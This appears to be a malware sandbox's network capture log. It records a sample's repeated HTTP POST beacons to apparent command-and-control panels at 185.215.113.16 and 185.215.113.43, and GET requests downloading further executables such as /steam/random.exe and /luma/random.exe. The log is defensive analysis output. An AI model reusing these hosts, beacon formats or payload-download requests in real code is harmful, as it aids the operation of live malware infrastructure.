Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 37 37 37 42 35 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2777B55A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 01 Nov 2024 10:53:58 GMTIf-None-Match: "6724b346-207200"
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 36 30 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000460031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 01 Nov 2024 10:53:44 GMTIf-None-Match: "6724b338-2cd400"
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000465031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 31 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1001698001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 37 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001735001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
